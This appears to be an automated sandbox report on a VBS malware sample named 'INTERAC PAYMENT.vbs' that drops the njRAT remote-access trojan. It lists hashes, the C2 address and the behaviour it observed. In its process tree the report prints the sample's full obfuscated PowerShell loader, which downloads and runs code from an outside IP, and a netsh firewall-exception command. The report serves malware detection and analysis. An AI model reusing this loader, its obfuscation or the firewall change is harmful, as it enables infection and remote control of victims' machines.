INTERAC PAYMENT.vbs

General
Target

INTERAC PAYMENT.vbs

Filesize

7KB

Completed

20-09-2021 18:27

Score
10 /10
MD5

f3bc5f7625cfb7d4f44f784561b05faf

SHA1

8831e8de10c1365cbc23bf50b96b6292fd09af29

SHA256

9b08fe9109b0e4b68f52624894d0ea9261f4a434f07d022f2d2b2d7c12877460

Malware Config

Extracted

Language ps1
Deobfuscated
URLs
exe.dropper

http://13.112.210.240/NJNJNJNJbypass.txt

Extracted

Family njrat
Version 0.7d
Botnet HacKed
C2

103.156.92.140:5489

Attributes
reg_key
b9bcbd71b3095eaa1d613e7db66ba013
splitter
|'|'|
Signatures 8

Filter: none

Discovery
Persistence
  • njRAT/Bladabindi

    Description

    Widely used RAT written in .NET.

  • Blocklisted process makes network request
    powershell.exe

    Reported IOCs

    flowpidprocess
    32420powershell.exe
    82420powershell.exe
  • Modifies Windows Firewall

    Tags

    TTPs

    Modify Existing Service
  • Suspicious use of SetThreadContext
    powershell.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 2420 set thread context of 23562420powershell.exeaspnet_compiler.exe
  • Enumerates physical storage devices

    Description

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

    TTPs

    System Information Discovery
  • Suspicious behavior: EnumeratesProcesses
    powershell.exe

    Reported IOCs

    pidprocess
    2420powershell.exe
    2420powershell.exe
    2420powershell.exe
    2420powershell.exe
    2420powershell.exe
    2420powershell.exe
    2420powershell.exe
  • Suspicious use of AdjustPrivilegeToken
    powershell.exeaspnet_compiler.exe

    Reported IOCs

    descriptionpidprocess
    Token: SeDebugPrivilege2420powershell.exe
    Token: SeDebugPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
    Token: 332356aspnet_compiler.exe
    Token: SeIncBasePriorityPrivilege2356aspnet_compiler.exe
  • Suspicious use of WriteProcessMemory
    WScript.exepowershell.exeaspnet_compiler.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 1608 wrote to memory of 24201608WScript.exepowershell.exe
    PID 1608 wrote to memory of 24201608WScript.exepowershell.exe
    PID 2420 wrote to memory of 11442420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 11442420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 11442420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 20522420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 20522420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 20522420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2420 wrote to memory of 23562420powershell.exeaspnet_compiler.exe
    PID 2356 wrote to memory of 37402356aspnet_compiler.exenetsh.exe
    PID 2356 wrote to memory of 37402356aspnet_compiler.exenetsh.exe
    PID 2356 wrote to memory of 37402356aspnet_compiler.exenetsh.exe
Processes 6
  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\INTERAC PAYMENT.vbs"
    Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://13HHHHHHHHHHHHH112HHHHHHHHHHHHH210HHHHHHHHHHHHH240/NJNJNJNJbypassHHHHHHHHHHHHHtxt'.Replace('HHHHHHHHHHHHH','.');$SOS='%!HHHHHHHHHHH!5HHHHHHHHHHH!!HHHHHHHHHHH5%HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH!dHHHHHHHHHHH!bHHHHHHHHHHH!!HHHHHHHHHHH!5HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH%0HHHHHHHHHHH3dHHHHHHHHHHH%0HHHHHHHHHHH%7HHHHHHHHHHH*eHHHHHHHHHHH!5HHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH!5HHHHHHHHHHH*%HHHHHHHHHHH!3HHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH5!HHHHHHHHHHH%7HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH7!HHHHHHHHHHH%eHHHHHHHHHHH57HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%bHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH*cHHHHHHHHHHH!9HHHHHHHHHHH!5HHHHHHHHHHH!eHHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH3bHHHHHHHHHHH0aHHHHHHHHHHH%!HHHHHHHHHHH53HHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!3HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!%HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!3HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!%HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH!bHHHHHHHHHHH%0HHHHHHHHHHH3dHHHHHHHHHHH%0HHHHHHHHHHH%7HHHHHHHHHHH!!HHHHHHHHHHH!fHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH*1HHHHHHHHHHH!!HHHHHHHHHHH53HHHHHHHHHHH5!HHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH!7HHHHHHHHHHH%7HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%aHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH57HHHHHHHHHHH*eHHHHHHHHHHH!cHHHHHHHHHHH*fHHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH7%HHHHHHHHHHH!9HHHHHHHHHHH*eHHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH3bHHHHHHHHHHH0aHHHHHHHHHHH%!HHHHHHHHHHH53HHHHHHHHHHH57HHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!5HHHHHHHHHHH!3HHHHHHHHHHH5%HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH59HHHHHHHHHHH!8HHHHHHHHHHH55HHHHHHHHHHH!aHHHHHHHHHHH!9HHHHHHHHHHH53HHHHHHHHHHH!!HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH%0HHHHHHHHHHH3dHHHHHHHHHHH%7HHHHHHHHHHH!9HHHHHHHHHHH*0HHHHHHHHHHH!5HHHHHHHHHHH58HHHHHHHHHHH%8HHHHHHHHHHH*eHHHHHHHHHHH*0HHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH*0HHHHHHHHHHH*3HHHHHHHHHHH*0HHHHHHHHHHH5!HHHHHHHHHHH%0HHHHHHHHHHH%!HHHHHHHHHHH!5HHHHHHHHHHH!!HHHHHHHHHHH5%HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH!dHHHHHHHHHHH!bHHHHHHHHHHH!!HHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH!7HHHHHHHHHHH!%HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH53HHHHHHHHHHH!!HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH%9HHHHHHHHHHH%7HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%dHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH*5HHHHHHHHHHH*0HHHHHHHHHHH57HHHHHHHHHHH*0HHHHHHHHHHH%dHHHHHHHHHHH!fHHHHHHHHHHH*%HHHHHHHHHHH*aHHHHHHHHHHH*0HHHHHHHHHHH!5HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH%eHHHHHHHHHHH5%HHHHHHHHHHH*5HHHHHHHHHHH70HHHHHHHHHHH*cHHHHHHHHHHH*1HHHHHHHHHHH*3HHHHHHHHHHH*5HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3cHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH3eHHHHHHHHHHH%7HHHHHHHHHHH%cHHHHHHHHHHH%7HHHHHHHHHHH!5HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH%9HHHHHHHHHHH%eHHHHHHHHHHH%!HHHHHHHHHHH53HHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!3HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!%HHHHHHHHHHH!8HHHHHHHHHHH!eHHHHHHHHHHH!aHHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!3HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!%HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH!bHHHHHHHHHHH%8HHHHHHHHHHH%!HHHHHHHHHHH53HHHHHHHHHHH5aHHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!3HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH3bHHHHHHHHHHH0aHHHHHHHHHHH%*HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH!9HHHHHHHHHHH%7HHHHHHHHHHH%bHHHHHHHHHHH%7HHHHHHHHHHH!5HHHHHHHHHHH58HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH%8HHHHHHHHHHH%!HHHHHHHHHHH53HHHHHHHHHHH57HHHHHHHHHHH58HHHHHHHHHHH!!HHHHHHHHHHH!5HHHHHHHHHHH!3HHHHHHHHHHH5%HHHHHHHHHHH!*HHHHHHHHHHH!7HHHHHHHHHHH59HHHHHHHHHHH!8HHHHHHHHHHH55HHHHHHHHHHH!aHHHHHHHHHHH!9HHHHHHHHHHH53HHHHHHHHHHH!!HHHHHHHHHHH!*HHHHHHHHHHH5*HHHHHHHHHHH!7HHHHHHHHHHH!8HHHHHHHHHHH!aHHHHHHHHHHH%0HHHHHHHHHHH%dHHHHHHHHHHH!aHHHHHHHHHHH*fHHHHHHHHHHH*9HHHHHHHHHHH*eHHHHHHHHHHH%0HHHHHHHHHHH%7HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH7cHHHHHHHHHHH%*HHHHHHHHHHH%8HHHHHHHHHHH%7HHHHHHHHHHH!9HHHHHHHHHHH%7HHHHHHHHHHH%bHHHHHHHHHHH%7HHHHHHHHHHH!5HHHHHHHHHHH58HHHHHHHHHHH%7HHHHHHHHHHH%9HHHHHHHHHHH3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split 'HHHHHHHHHHH' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      Blocklisted process makes network request
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2420
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        PID:1144
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        PID:2052
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        PID:2356
        • C:\Windows\SysWOW64\netsh.exe
          netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
          PID:3740
Network
MITRE ATT&CK Matrix
Collection
    Command and Control
      Credential Access
        Defense Evasion
          Execution
            Exfiltration
              Impact
                Initial Access
                  Lateral Movement
                    Privilege Escalation
                      Replay Monitor
                      00:00 00:00
                      Downloads
                      • memory/2356-161-0x0000000000400000-0x000000000040C000-memory.dmp

                      • memory/2356-172-0x0000000004E40000-0x0000000004E41000-memory.dmp

                      • memory/2356-171-0x0000000004BC0000-0x0000000004C5C000-memory.dmp

                      • memory/2356-170-0x0000000004E80000-0x0000000004E81000-memory.dmp

                      • memory/2356-168-0x0000000005220000-0x0000000005221000-memory.dmp

                      • memory/2356-167-0x0000000004C80000-0x0000000004C81000-memory.dmp

                      • memory/2356-162-0x000000000040747E-mapping.dmp

                      • memory/2356-173-0x0000000005050000-0x0000000005051000-memory.dmp

                      • memory/2420-152-0x0000024526300000-0x0000024526323000-memory.dmp

                      • memory/2420-141-0x0000024525F38000-0x0000024525F39000-memory.dmp

                      • memory/2420-163-0x0000024526330000-0x0000024526331000-memory.dmp

                      • memory/2420-130-0x0000024525F36000-0x0000024525F38000-memory.dmp

                      • memory/2420-125-0x0000024526360000-0x0000024526361000-memory.dmp

                      • memory/2420-123-0x0000024525F33000-0x0000024525F35000-memory.dmp

                      • memory/2420-122-0x0000024525F30000-0x0000024525F32000-memory.dmp

                      • memory/2420-120-0x0000024525FB0000-0x0000024525FB1000-memory.dmp

                      • memory/2420-115-0x0000000000000000-mapping.dmp

                      • memory/3740-169-0x0000000000000000-mapping.dmp